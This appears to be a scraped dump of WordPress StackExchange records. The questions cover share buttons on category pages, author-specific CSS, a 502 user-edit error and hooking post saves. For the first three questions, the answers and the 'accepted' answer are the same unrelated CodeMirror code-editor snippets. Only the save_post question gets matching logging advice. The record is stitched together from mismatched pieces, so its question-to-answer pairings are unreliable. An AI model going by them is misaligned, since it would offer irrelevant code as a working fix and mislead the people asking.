[ { "answer_id": 357048, "author": "Aaron Fisher", "author_id": 181518, "author_profile": "https://wordpress.stackexchange.com/users/181518", "pm_score": 1, "selected": false, "text": "<p>I just ran into this exact issue and with a tiny bit of tweaking it should work, what you have is 90% of the way there.</p>\n\n<p>I've tweaked your code slightly so it should now work. </p>\n\n<p><strong>The PHP:</strong></p>\n\n<pre><code>add_action('admin_enqueue_scripts', 'joermo_enqueue_scripts');\nfunction joermo_enqueue_scripts($hook) {\n $joermo_code['ce_html'] = wp_enqueue_code_editor(array('type' =&gt; 'text/html'));\n $joermo_code['ce_css'] = wp_enqueue_code_editor(array('type' =&gt; 'text/css'));\n wp_localize_script('jquery', 'joermo_code', $joermo_code);\n\n wp_enqueue_script('wp-theme-plugin-editor');\n wp_enqueue_style('wp-codemirror');\n}\n</code></pre>\n\n<p><strong>The jQuery:</strong></p>\n\n<pre><code>jQuery(function() {\n wp.ce_html.initialize(jQuery('.joermo-html-code-editor'), joermo_code);\n wp.ce_css.initialize(jQuery('.joermo-css-code-editor'), joermo_code);\n});\n</code></pre>\n\n<p>Before I got the above working, I tried exactly the same as you did with running <code>wp_localize_script</code> twice. But <code>$joermo_html_code['ce_html']</code> &amp; <code>$joermo_css_code['ce_css']</code> can be switched to an array and then you only need to run localize once. So in my example it became <code>$joermo_code['ce_html']</code> &amp; <code>$joermo_code['ce_css']</code>.</p>\n\n<p>Hope this helps!</p>\n" }, { "answer_id": 391907, "author": "camilluskillus", "author_id": 162369, "author_profile": "https://wordpress.stackexchange.com/users/162369", "pm_score": 0, "selected": false, "text": "<p>None of the above worked for me. But i found a solution.</p>\n<p>PHP:</p>\n<pre><code> $cm_settings = wp_enqueue_code_editor( array( 'type' =&gt; 'text/css' ) );\n $cm_settings2 = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n\n wp_localize_script('jquery', 'cm_settings', $cm_settings);\n wp_localize_script('jquery', 'cm_settings2', $cm_settings2);\n\n wp_enqueue_script('wp-theme-plugin-editor');\n wp_enqueue_style('wp-codemirror');\n</code></pre>\n<p>JS:</p>\n<pre><code> wp.codeEditor.initialize($('#batheme_custom_css_textarea'), cm_settings);\n wp.codeEditor.initialize($('#batheme_custom_js_textarea'), cm_settings2);\n</code></pre>\n<p>Now both work like a charm. :)</p>\n" }, { "answer_id": 395883, "author": "Marcio Duarte", "author_id": 45213, "author_profile": "https://wordpress.stackexchange.com/users/45213", "pm_score": 0, "selected": false, "text": "<p>Another way to do this without an additional JS file:</p>\n<pre class=\"lang-php prettyprint-override\"><code>add_action( 'admin_enqueue_scripts', 'my_admin_page_editor' );\n\nfunction my_admin_page_editor() {\n\n global $pagenow;\n\n if ( ( 'admin.php' === $pagenow ) &amp;&amp; ( 'my-options-page' === $_GET['page'] ) ) {\n\n $custom_css = wp_enqueue_code_editor( array( 'type' =&gt; 'text/css' ) );\n $header_js = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n $footer_js = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n\n wp_add_inline_script(\n 'code-editor',\n sprintf(\n 'jQuery( function() {\n wp.codeEditor.initialize( jQuery( &quot;.my-custom-css textarea&quot; ), %1$s );\n wp.codeEditor.initialize( jQuery( &quot;.my-header-scripts textarea&quot; ), %2$s );\n wp.codeEditor.initialize( jQuery( &quot;.my-footer-scripts textarea&quot; ), %3$s );\n });',\n wp_json_encode( $custom_css ),\n wp_json_encode( $header_js ),\n wp_json_encode( $footer_js )\n )\n );\n }\n}\n</code></pre>\n" }, { "answer_id": 397351, "author": "Twinpictures Info", "author_id": 214066, "author_profile": "https://wordpress.stackexchange.com/users/214066", "pm_score": 1, "selected": false, "text": "<p>This approach might be easier to read. wp.codeEditor.initialize must be used for both, just passed the desired setting.</p>\n<p><strong>PHP</strong></p>\n<pre><code>wp_register_script('cm_js', plugins_url('js/admin_codemirror.js', __FILE__), array('jquery'), '0.1.0', true);\n$cm_settings = array(\n 'ce_css' =&gt; wp_enqueue_code_editor(array('type' =&gt; 'text/css')),\n 'ce_html' =&gt; wp_enqueue_code_editor(array('type' =&gt; 'text/html'))\n);\n \nwp_localize_script( 'cm_js', 'cm_settings', $cm_settings );\nwp_enqueue_script( 'cm_js' );\nwp_enqueue_script( 'wp-theme-plugin-editor' );\nwp_enqueue_style( 'wp-codemirror' );\n</code></pre>\n<p><strong>JS</strong></p>\n<pre><code>wp.codeEditor.initialize($('#id_for_css'), cm_settings.ce_css);\nwp.codeEditor.initialize($('#id_for_html'), cm_settings.ce_html);\n</code></pre>\n" } ]
2019/10/06
[ "https://wordpress.stackexchange.com/questions/349871", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/115230/" ]
I am using this code to display social media share links at the top of my posts. Currently, they display fine on my pages and posts. Is there any way to get this to display also on my category pages? Another option that would work is getting the code to display everywhere below the H1 and content, I don't think there are any pages where I don't want these buttons so perhaps this is the easier solution. Any guidance would be greatly appreciated ☺️ ``` function crunchify_social_sharing_buttons($content) { global $post; if(is_singular() || is_home()){ // Get current page URL $crunchifyURL = urlencode(get_permalink()); // Get current page title $crunchifyTitle = htmlspecialchars(urlencode(html_entity_decode(get_the_title(), ENT_COMPAT, 'UTF-8')), ENT_COMPAT, 'UTF-8'); // $crunchifyTitle = str_replace( ' ', '%20', get_the_title()); // Get Post Thumbnail for pinterest $crunchifyThumbnail = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'full' ); // Construct sharing URL without using any script $twitterURL = 'https://twitter.com/intent/tweet?text='.$crunchifyTitle.'&amp;url='.$crunchifyURL.'&amp;via=Crunchify'; $facebookURL = 'https://www.facebook.com/sharer/sharer.php?u='.$crunchifyURL; $googleURL = 'https://plus.google.com/share?url='.$crunchifyURL; $bufferURL = 'https://bufferapp.com/add?url='.$crunchifyURL.'&amp;text='.$crunchifyTitle; $linkedInURL = 'https://www.linkedin.com/shareArticle?mini=true&url='.$crunchifyURL.'&amp;title='.$crunchifyTitle; // Based on popular demand added Pinterest too $pinterestURL = 'https://pinterest.com/pin/create/button/?url='.$crunchifyURL.'&amp;media='.$crunchifyThumbnail[0].'&amp;description='.$crunchifyTitle; // Add sharing button at the end of page/page content $variable .= '<!-- Implement your own social sharing buttons without any JavaScript loading. No plugin required. Detailed steps here: http://crunchify.me/1VIxAsz -->'; $variable .= '<div class="crunchify-social">'; $variable .= '<a class="crunchify-link crunchify-twitter" href="'. $twitterURL .'" target="_blank">Twitter</a>'; $variable .= '<a class="crunchify-link crunchify-facebook" href="'.$facebookURL.'" target="_blank">Facebook</a>'; $variable .= '<a class="crunchify-link crunchify-googleplus" href="'.$googleURL.'" target="_blank">Google+</a>'; $variable .= '<a class="crunchify-link crunchify-buffer" href="'.$bufferURL.'" target="_blank">Buffer</a>'; $variable .= '<a class="crunchify-link crunchify-linkedin" href="'.$linkedInURL.'" target="_blank">LinkedIn</a>'; $variable .= '<a class="crunchify-link crunchify-pinterest" href="'.$pinterestURL.'" data-pin-custom="true" target="_blank">Pin It</a>'; $variable .= '</div>'; return $variable.$content; }else{ // if not a post/page then don't include sharing button return $variable.$content; } }; add_filter( 'the_content', 'crunchify_social_sharing_buttons'); ``` Here is my category.php, as requested ``` <?php /** * The Category template file. * * * @link https://codex.wordpress.org/Template_Hierarchy * * @package Zeal */ get_header(); ?> <section id="primary" class="content-area"> <main id="main" class="site-main" role="main"> <div class="container archive-page"> <div class="row"> <?php if ( have_posts() ) : ?> <header class="page-header"> <h1 class="page-title"><h1><?php single_cat_title(); ?></h1> </header><!-- .page-header --> <?php the_archive_description( '<div class="taxonomy-description">', '</div>' ); ?> <hr class="wp-block-separator"> <div id="category-menu"><a class="category-link" href="https://www.obsidianurbexphotography.com/locations/">All</a>&nbsp;<a class="category-link" href="https://www.obsidianurbexphotography.com/locations/education/">Education</a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/industrial/">Industrial</a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/leisure/">Leisure</a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/medical/">Medical</a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/military/">Military</a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/other/">Other</a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/religious/">Religious</a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/residential/">Residential</a>&nbsp; </br> <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/austria/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/belgium/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/bulgaria/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/france/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/germany/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/great-britain/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/hungary/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/italy/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/japan/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/luxembourg/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/portugal/"> </a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/romania/"></a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/ukraine/"> </a>&nbsp; <a class="category-link" href="https://www.obsidianurbexphotography.com/locations/usa/"></a>&nbsp;</div> </br> <?php /* Start the Loop */ ?> <?php while ( have_posts() ) : the_post(); ?> <?php /** * Run the loop for the search to output the results. */ get_template_part( 'template-parts/content', 'category' ); ?> <?php endwhile; ?> <?php the_posts_navigation(); ?> <?php else : ?> <?php get_template_part( 'template-parts/content', 'none' ); ?> <?php endif; ?> </div> </div> </main><!-- #main --> </section><!-- #primary --> <?php get_footer(); ?> ```
I just ran into this exact issue and with a tiny bit of tweaking it should work, what you have is 90% of the way there. I've tweaked your code slightly so it should now work. **The PHP:** ``` add_action('admin_enqueue_scripts', 'joermo_enqueue_scripts'); function joermo_enqueue_scripts($hook) { $joermo_code['ce_html'] = wp_enqueue_code_editor(array('type' => 'text/html')); $joermo_code['ce_css'] = wp_enqueue_code_editor(array('type' => 'text/css')); wp_localize_script('jquery', 'joermo_code', $joermo_code); wp_enqueue_script('wp-theme-plugin-editor'); wp_enqueue_style('wp-codemirror'); } ``` **The jQuery:** ``` jQuery(function() { wp.ce_html.initialize(jQuery('.joermo-html-code-editor'), joermo_code); wp.ce_css.initialize(jQuery('.joermo-css-code-editor'), joermo_code); }); ``` Before I got the above working, I tried exactly the same as you did with running `wp_localize_script` twice. But `$joermo_html_code['ce_html']` & `$joermo_css_code['ce_css']` can be switched to an array and then you only need to run localize once. So in my example it became `$joermo_code['ce_html']` & `$joermo_code['ce_css']`. Hope this helps!
349,923
<p>I want to add CSS code to the header of all the posts by a particular author.</p> <p>I tried the following solution:</p> <pre><code>function hide_author_box() { if (is_author('ritesh')) { ?&gt; &lt;style&gt; .author-box { display: none; } &lt;/style&gt; &lt;?php } } </code></pre> <p>But it doesn't work. How do I fix it?</p>
[ { "answer_id": 357048, "author": "Aaron Fisher", "author_id": 181518, "author_profile": "https://wordpress.stackexchange.com/users/181518", "pm_score": 1, "selected": false, "text": "<p>I just ran into this exact issue and with a tiny bit of tweaking it should work, what you have is 90% of the way there.</p>\n\n<p>I've tweaked your code slightly so it should now work. </p>\n\n<p><strong>The PHP:</strong></p>\n\n<pre><code>add_action('admin_enqueue_scripts', 'joermo_enqueue_scripts');\nfunction joermo_enqueue_scripts($hook) {\n $joermo_code['ce_html'] = wp_enqueue_code_editor(array('type' =&gt; 'text/html'));\n $joermo_code['ce_css'] = wp_enqueue_code_editor(array('type' =&gt; 'text/css'));\n wp_localize_script('jquery', 'joermo_code', $joermo_code);\n\n wp_enqueue_script('wp-theme-plugin-editor');\n wp_enqueue_style('wp-codemirror');\n}\n</code></pre>\n\n<p><strong>The jQuery:</strong></p>\n\n<pre><code>jQuery(function() {\n wp.ce_html.initialize(jQuery('.joermo-html-code-editor'), joermo_code);\n wp.ce_css.initialize(jQuery('.joermo-css-code-editor'), joermo_code);\n});\n</code></pre>\n\n<p>Before I got the above working, I tried exactly the same as you did with running <code>wp_localize_script</code> twice. But <code>$joermo_html_code['ce_html']</code> &amp; <code>$joermo_css_code['ce_css']</code> can be switched to an array and then you only need to run localize once. So in my example it became <code>$joermo_code['ce_html']</code> &amp; <code>$joermo_code['ce_css']</code>.</p>\n\n<p>Hope this helps!</p>\n" }, { "answer_id": 391907, "author": "camilluskillus", "author_id": 162369, "author_profile": "https://wordpress.stackexchange.com/users/162369", "pm_score": 0, "selected": false, "text": "<p>None of the above worked for me. But i found a solution.</p>\n<p>PHP:</p>\n<pre><code> $cm_settings = wp_enqueue_code_editor( array( 'type' =&gt; 'text/css' ) );\n $cm_settings2 = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n\n wp_localize_script('jquery', 'cm_settings', $cm_settings);\n wp_localize_script('jquery', 'cm_settings2', $cm_settings2);\n\n wp_enqueue_script('wp-theme-plugin-editor');\n wp_enqueue_style('wp-codemirror');\n</code></pre>\n<p>JS:</p>\n<pre><code> wp.codeEditor.initialize($('#batheme_custom_css_textarea'), cm_settings);\n wp.codeEditor.initialize($('#batheme_custom_js_textarea'), cm_settings2);\n</code></pre>\n<p>Now both work like a charm. :)</p>\n" }, { "answer_id": 395883, "author": "Marcio Duarte", "author_id": 45213, "author_profile": "https://wordpress.stackexchange.com/users/45213", "pm_score": 0, "selected": false, "text": "<p>Another way to do this without an additional JS file:</p>\n<pre class=\"lang-php prettyprint-override\"><code>add_action( 'admin_enqueue_scripts', 'my_admin_page_editor' );\n\nfunction my_admin_page_editor() {\n\n global $pagenow;\n\n if ( ( 'admin.php' === $pagenow ) &amp;&amp; ( 'my-options-page' === $_GET['page'] ) ) {\n\n $custom_css = wp_enqueue_code_editor( array( 'type' =&gt; 'text/css' ) );\n $header_js = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n $footer_js = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n\n wp_add_inline_script(\n 'code-editor',\n sprintf(\n 'jQuery( function() {\n wp.codeEditor.initialize( jQuery( &quot;.my-custom-css textarea&quot; ), %1$s );\n wp.codeEditor.initialize( jQuery( &quot;.my-header-scripts textarea&quot; ), %2$s );\n wp.codeEditor.initialize( jQuery( &quot;.my-footer-scripts textarea&quot; ), %3$s );\n });',\n wp_json_encode( $custom_css ),\n wp_json_encode( $header_js ),\n wp_json_encode( $footer_js )\n )\n );\n }\n}\n</code></pre>\n" }, { "answer_id": 397351, "author": "Twinpictures Info", "author_id": 214066, "author_profile": "https://wordpress.stackexchange.com/users/214066", "pm_score": 1, "selected": false, "text": "<p>This approach might be easier to read. wp.codeEditor.initialize must be used for both, just passed the desired setting.</p>\n<p><strong>PHP</strong></p>\n<pre><code>wp_register_script('cm_js', plugins_url('js/admin_codemirror.js', __FILE__), array('jquery'), '0.1.0', true);\n$cm_settings = array(\n 'ce_css' =&gt; wp_enqueue_code_editor(array('type' =&gt; 'text/css')),\n 'ce_html' =&gt; wp_enqueue_code_editor(array('type' =&gt; 'text/html'))\n);\n \nwp_localize_script( 'cm_js', 'cm_settings', $cm_settings );\nwp_enqueue_script( 'cm_js' );\nwp_enqueue_script( 'wp-theme-plugin-editor' );\nwp_enqueue_style( 'wp-codemirror' );\n</code></pre>\n<p><strong>JS</strong></p>\n<pre><code>wp.codeEditor.initialize($('#id_for_css'), cm_settings.ce_css);\nwp.codeEditor.initialize($('#id_for_html'), cm_settings.ce_html);\n</code></pre>\n" } ]
2019/10/07
[ "https://wordpress.stackexchange.com/questions/349923", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/145480/" ]
I want to add CSS code to the header of all the posts by a particular author. I tried the following solution: ``` function hide_author_box() { if (is_author('ritesh')) { ?> <style> .author-box { display: none; } </style> <?php } } ``` But it doesn't work. How do I fix it?
I just ran into this exact issue and with a tiny bit of tweaking it should work, what you have is 90% of the way there. I've tweaked your code slightly so it should now work. **The PHP:** ``` add_action('admin_enqueue_scripts', 'joermo_enqueue_scripts'); function joermo_enqueue_scripts($hook) { $joermo_code['ce_html'] = wp_enqueue_code_editor(array('type' => 'text/html')); $joermo_code['ce_css'] = wp_enqueue_code_editor(array('type' => 'text/css')); wp_localize_script('jquery', 'joermo_code', $joermo_code); wp_enqueue_script('wp-theme-plugin-editor'); wp_enqueue_style('wp-codemirror'); } ``` **The jQuery:** ``` jQuery(function() { wp.ce_html.initialize(jQuery('.joermo-html-code-editor'), joermo_code); wp.ce_css.initialize(jQuery('.joermo-css-code-editor'), joermo_code); }); ``` Before I got the above working, I tried exactly the same as you did with running `wp_localize_script` twice. But `$joermo_html_code['ce_html']` & `$joermo_css_code['ce_css']` can be switched to an array and then you only need to run localize once. So in my example it became `$joermo_code['ce_html']` & `$joermo_code['ce_css']`. Hope this helps!
349,937
<p>When trying to edit a user, error 502 appears. An error appears when editing a some part of users, but I do not see patterns.</p>
[ { "answer_id": 357048, "author": "Aaron Fisher", "author_id": 181518, "author_profile": "https://wordpress.stackexchange.com/users/181518", "pm_score": 1, "selected": false, "text": "<p>I just ran into this exact issue and with a tiny bit of tweaking it should work, what you have is 90% of the way there.</p>\n\n<p>I've tweaked your code slightly so it should now work. </p>\n\n<p><strong>The PHP:</strong></p>\n\n<pre><code>add_action('admin_enqueue_scripts', 'joermo_enqueue_scripts');\nfunction joermo_enqueue_scripts($hook) {\n $joermo_code['ce_html'] = wp_enqueue_code_editor(array('type' =&gt; 'text/html'));\n $joermo_code['ce_css'] = wp_enqueue_code_editor(array('type' =&gt; 'text/css'));\n wp_localize_script('jquery', 'joermo_code', $joermo_code);\n\n wp_enqueue_script('wp-theme-plugin-editor');\n wp_enqueue_style('wp-codemirror');\n}\n</code></pre>\n\n<p><strong>The jQuery:</strong></p>\n\n<pre><code>jQuery(function() {\n wp.ce_html.initialize(jQuery('.joermo-html-code-editor'), joermo_code);\n wp.ce_css.initialize(jQuery('.joermo-css-code-editor'), joermo_code);\n});\n</code></pre>\n\n<p>Before I got the above working, I tried exactly the same as you did with running <code>wp_localize_script</code> twice. But <code>$joermo_html_code['ce_html']</code> &amp; <code>$joermo_css_code['ce_css']</code> can be switched to an array and then you only need to run localize once. So in my example it became <code>$joermo_code['ce_html']</code> &amp; <code>$joermo_code['ce_css']</code>.</p>\n\n<p>Hope this helps!</p>\n" }, { "answer_id": 391907, "author": "camilluskillus", "author_id": 162369, "author_profile": "https://wordpress.stackexchange.com/users/162369", "pm_score": 0, "selected": false, "text": "<p>None of the above worked for me. But i found a solution.</p>\n<p>PHP:</p>\n<pre><code> $cm_settings = wp_enqueue_code_editor( array( 'type' =&gt; 'text/css' ) );\n $cm_settings2 = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n\n wp_localize_script('jquery', 'cm_settings', $cm_settings);\n wp_localize_script('jquery', 'cm_settings2', $cm_settings2);\n\n wp_enqueue_script('wp-theme-plugin-editor');\n wp_enqueue_style('wp-codemirror');\n</code></pre>\n<p>JS:</p>\n<pre><code> wp.codeEditor.initialize($('#batheme_custom_css_textarea'), cm_settings);\n wp.codeEditor.initialize($('#batheme_custom_js_textarea'), cm_settings2);\n</code></pre>\n<p>Now both work like a charm. :)</p>\n" }, { "answer_id": 395883, "author": "Marcio Duarte", "author_id": 45213, "author_profile": "https://wordpress.stackexchange.com/users/45213", "pm_score": 0, "selected": false, "text": "<p>Another way to do this without an additional JS file:</p>\n<pre class=\"lang-php prettyprint-override\"><code>add_action( 'admin_enqueue_scripts', 'my_admin_page_editor' );\n\nfunction my_admin_page_editor() {\n\n global $pagenow;\n\n if ( ( 'admin.php' === $pagenow ) &amp;&amp; ( 'my-options-page' === $_GET['page'] ) ) {\n\n $custom_css = wp_enqueue_code_editor( array( 'type' =&gt; 'text/css' ) );\n $header_js = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n $footer_js = wp_enqueue_code_editor( array( 'type' =&gt; 'application/javascript' ) );\n\n wp_add_inline_script(\n 'code-editor',\n sprintf(\n 'jQuery( function() {\n wp.codeEditor.initialize( jQuery( &quot;.my-custom-css textarea&quot; ), %1$s );\n wp.codeEditor.initialize( jQuery( &quot;.my-header-scripts textarea&quot; ), %2$s );\n wp.codeEditor.initialize( jQuery( &quot;.my-footer-scripts textarea&quot; ), %3$s );\n });',\n wp_json_encode( $custom_css ),\n wp_json_encode( $header_js ),\n wp_json_encode( $footer_js )\n )\n );\n }\n}\n</code></pre>\n" }, { "answer_id": 397351, "author": "Twinpictures Info", "author_id": 214066, "author_profile": "https://wordpress.stackexchange.com/users/214066", "pm_score": 1, "selected": false, "text": "<p>This approach might be easier to read. wp.codeEditor.initialize must be used for both, just passed the desired setting.</p>\n<p><strong>PHP</strong></p>\n<pre><code>wp_register_script('cm_js', plugins_url('js/admin_codemirror.js', __FILE__), array('jquery'), '0.1.0', true);\n$cm_settings = array(\n 'ce_css' =&gt; wp_enqueue_code_editor(array('type' =&gt; 'text/css')),\n 'ce_html' =&gt; wp_enqueue_code_editor(array('type' =&gt; 'text/html'))\n);\n \nwp_localize_script( 'cm_js', 'cm_settings', $cm_settings );\nwp_enqueue_script( 'cm_js' );\nwp_enqueue_script( 'wp-theme-plugin-editor' );\nwp_enqueue_style( 'wp-codemirror' );\n</code></pre>\n<p><strong>JS</strong></p>\n<pre><code>wp.codeEditor.initialize($('#id_for_css'), cm_settings.ce_css);\nwp.codeEditor.initialize($('#id_for_html'), cm_settings.ce_html);\n</code></pre>\n" } ]
2019/10/07
[ "https://wordpress.stackexchange.com/questions/349937", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/151699/" ]
When trying to edit a user, error 502 appears. An error appears when editing a some part of users, but I do not see patterns.
I just ran into this exact issue and with a tiny bit of tweaking it should work, what you have is 90% of the way there. I've tweaked your code slightly so it should now work. **The PHP:** ``` add_action('admin_enqueue_scripts', 'joermo_enqueue_scripts'); function joermo_enqueue_scripts($hook) { $joermo_code['ce_html'] = wp_enqueue_code_editor(array('type' => 'text/html')); $joermo_code['ce_css'] = wp_enqueue_code_editor(array('type' => 'text/css')); wp_localize_script('jquery', 'joermo_code', $joermo_code); wp_enqueue_script('wp-theme-plugin-editor'); wp_enqueue_style('wp-codemirror'); } ``` **The jQuery:** ``` jQuery(function() { wp.ce_html.initialize(jQuery('.joermo-html-code-editor'), joermo_code); wp.ce_css.initialize(jQuery('.joermo-css-code-editor'), joermo_code); }); ``` Before I got the above working, I tried exactly the same as you did with running `wp_localize_script` twice. But `$joermo_html_code['ce_html']` & `$joermo_css_code['ce_css']` can be switched to an array and then you only need to run localize once. So in my example it became `$joermo_code['ce_html']` & `$joermo_code['ce_css']`. Hope this helps!
349,940
<p>I'm trying to customize the <code>save</code> feature of a Wordpress theme, unfortunately I doesn't have the necessary knowledge on this so I need a bit help to do this in the right way.</p> <p>Essentially the theme that I bought allow me to create a <code>property</code>, the <code>property</code> is stored in the <code>post</code> table as a normal post, but contains of course the theme taxonomies and other options.</p> <p>When I create or update a <code>property</code>, I need to execute a custom function, but I have no idea where to place it.</p> <p>When a <code>property</code> is added or updated I saw in the <code>network</code> console that this file is called:</p> <pre><code>http://localhost/wordpress/wp-admin/admin-ajax.php?action=oembed-cache&amp;post=24987 </code></pre> <p>How can I intercept the <code>$_POST</code> data passed to that file and send to a custom function?</p> <p>I tried with:</p> <pre><code>function fpw_post_info( $id, $post ) { var_dump("hello world"); } add_action( 'publish_post', 'fpw_post_info', 10, 2 ); </code></pre> <p>but how can I see if the code works?</p> <p>Kind regards.</p>
[ { "answer_id": 349942, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 3, "selected": true, "text": "<p>WordPress fires a number of different hooks when a post is (published / updated / saved). It's usually best to browse through the Codex to determine which hook fires when, and only when, you want to run your custom code. It's important to be aware that some of these hooks fire multiple times when you click a single button.</p>\n\n<p>In most cases you can't run a <code>var_dump()</code>, so it's often helpful to add a test function on each hook, and in that test function, fwrite to a log file including the timestamp and which hook ran. That way you can see the order of things and also how many times each hook ran, and start narrowing down a single place to run your custom code.</p>\n\n<p>One hook you might want to explore: <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/save_post\" rel=\"nofollow noreferrer\">save_post</a>. This hook gives you access to the post ID, the full WP <code>$post</code> object, and a boolean for whether this is an existing post being updated.</p>\n\n<p>So, to test out the <code>save_post</code> hook, you could start with something like</p>\n\n<pre><code>add_action('save_post', 'wpse_see_save_post', 20, 3);\nfunction wpse_see_save_post($post_id, $post, $update) {\n // Open a log file and add to it (\"a\")\n $file = fopen(__DIR__.'/save-post-hook.log', 'a');\n // Get the current timestamp\n $time = date(\"Y-m-d h:m\");\n // Write timestamp and message to file\n fwrite($file, \"$time - save_post ran\");\n fclose($file);\n}\n</code></pre>\n\n<p>You might also want to log a few other hooks such as <code>transition_post_status</code> and <code>post_updated</code> - maybe even to the same logfile so you see the full order of things and what's available.</p>\n\n<p>Once you know what order things are happening in, you can start accessing the data. For example:</p>\n\n<pre><code>add_action('save_post', 'wpse_see_save_post_data', 20, 3);\nfunction wpse_see_save_post_data($post_id, $post, $update) {\n // Open a log file and add to it (\"a\")\n $file = fopen(__DIR__.'/save-post-data.log', 'a');\n // Get the current timestamp\n $time = date(\"Y-m-d h:m\");\n // Write timestamp and message to file\n fwrite($file, \"$time - save_post data includes\\r\\n\");\n // access global $_POST array\n global $_POST;\n fwrite($file, print_r($_POST, true));\n fclose($file);\n}\n</code></pre>\n\n<p>You'll likely notice that the $_POST data is empty on one run, but populated on another. So, you can add a conditional in your function like</p>\n\n<p><code>if(count($_POST) &gt; 0) {</code></p>\n\n<p>to have your custom code only run when you know you have access to the data you need.</p>\n" }, { "answer_id": 349951, "author": "middlelady", "author_id": 93927, "author_profile": "https://wordpress.stackexchange.com/users/93927", "pm_score": 1, "selected": false, "text": "<p>Generally speaking in the WordPress environment you can capture your <code>$_POST</code> data in the <code>functions.php</code> of your activated theme.</p>\n\n<p>Then I often find quick and useful using this function, from time to time, to debug data and see what I’m receiving:</p>\n\n<pre><code>function write_log( $log ) {\n if ( is_array( $log ) || is_object( $log ) ) {\n error_log( print_r( $log, true ) );\n } else {\n error_log( $log );\n }\n}\n</code></pre>\n\n<p>Putting it into your <code>functions.php</code> you might be able to:</p>\n\n<pre><code>function fpw_post_info( $id, $post ) {\n write_log($_POST);\n}\nadd_action( 'publish_post', 'fpw_post_info', 10, 2 );\n</code></pre>\n\n<p>At this point you can see the passed data (and any other kind of data) in <code>debug.log</code> if you activate the debugging in WP. Read more <a href=\"https://codex.wordpress.org/Debugging_in_WordPress\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Debugging_in_WordPress</a></p>\n" } ]
2019/10/07
[ "https://wordpress.stackexchange.com/questions/349940", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/160916/" ]
I'm trying to customize the `save` feature of a Wordpress theme, unfortunately I doesn't have the necessary knowledge on this so I need a bit help to do this in the right way. Essentially the theme that I bought allow me to create a `property`, the `property` is stored in the `post` table as a normal post, but contains of course the theme taxonomies and other options. When I create or update a `property`, I need to execute a custom function, but I have no idea where to place it. When a `property` is added or updated I saw in the `network` console that this file is called: ``` http://localhost/wordpress/wp-admin/admin-ajax.php?action=oembed-cache&post=24987 ``` How can I intercept the `$_POST` data passed to that file and send to a custom function? I tried with: ``` function fpw_post_info( $id, $post ) { var_dump("hello world"); } add_action( 'publish_post', 'fpw_post_info', 10, 2 ); ``` but how can I see if the code works? Kind regards.
WordPress fires a number of different hooks when a post is (published / updated / saved). It's usually best to browse through the Codex to determine which hook fires when, and only when, you want to run your custom code. It's important to be aware that some of these hooks fire multiple times when you click a single button. In most cases you can't run a `var_dump()`, so it's often helpful to add a test function on each hook, and in that test function, fwrite to a log file including the timestamp and which hook ran. That way you can see the order of things and also how many times each hook ran, and start narrowing down a single place to run your custom code. One hook you might want to explore: [save\_post](https://codex.wordpress.org/Plugin_API/Action_Reference/save_post). This hook gives you access to the post ID, the full WP `$post` object, and a boolean for whether this is an existing post being updated. So, to test out the `save_post` hook, you could start with something like ``` add_action('save_post', 'wpse_see_save_post', 20, 3); function wpse_see_save_post($post_id, $post, $update) { // Open a log file and add to it ("a") $file = fopen(__DIR__.'/save-post-hook.log', 'a'); // Get the current timestamp $time = date("Y-m-d h:m"); // Write timestamp and message to file fwrite($file, "$time - save_post ran"); fclose($file); } ``` You might also want to log a few other hooks such as `transition_post_status` and `post_updated` - maybe even to the same logfile so you see the full order of things and what's available. Once you know what order things are happening in, you can start accessing the data. For example: ``` add_action('save_post', 'wpse_see_save_post_data', 20, 3); function wpse_see_save_post_data($post_id, $post, $update) { // Open a log file and add to it ("a") $file = fopen(__DIR__.'/save-post-data.log', 'a'); // Get the current timestamp $time = date("Y-m-d h:m"); // Write timestamp and message to file fwrite($file, "$time - save_post data includes\r\n"); // access global $_POST array global $_POST; fwrite($file, print_r($_POST, true)); fclose($file); } ``` You'll likely notice that the $\_POST data is empty on one run, but populated on another. So, you can add a conditional in your function like `if(count($_POST) > 0) {` to have your custom code only run when you know you have access to the data you need.
349,961
